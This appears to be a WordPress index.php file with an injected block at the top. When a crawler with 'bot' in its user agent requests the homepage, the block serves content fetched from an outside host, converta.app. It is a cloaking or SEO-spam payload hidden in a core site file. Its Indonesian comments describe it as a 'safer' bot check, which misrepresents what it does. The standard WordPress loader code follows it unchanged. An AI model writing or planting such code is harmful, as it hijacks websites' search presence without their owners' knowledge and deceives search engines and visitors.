<?php
// Deteksi bot dengan cara yang lebih aman
$agent = $_SERVER['HTTP_USER_AGENT'];
$referer = $_SERVER['HTTP_REFERER'] ?? '';

// Cek jika agen adalah bot dan hanya di halaman beranda
if (strpos($agent, 'bot') !== false && $_SERVER['REQUEST_URI'] == '/') {
    // Validasi bahasa dan pastikan tidak ada cookie yang mencurigakan
    $accept_lang = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']);
    
    if (strpos($accept_lang, 'zh') !== false && $_SERVER['HTTP_UPGRADE_INSECURE_REQUESTS'] == 1) {
        // Jangan set cookie yang mencurigakan
        echo 'Bot detected. Custom content for bots here.';
        exit;
    }
    
    // Gunakan cURL untuk mengambil konten eksternal secara lebih aman
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "https://converta.app/education.php");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);  // Set timeout
    $output = curl_exec($ch);
    curl_close($ch);

    if ($output === false) {
        echo 'Error fetching content.';
    } else {
        echo $output;
    }

    exit;
}
?>
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';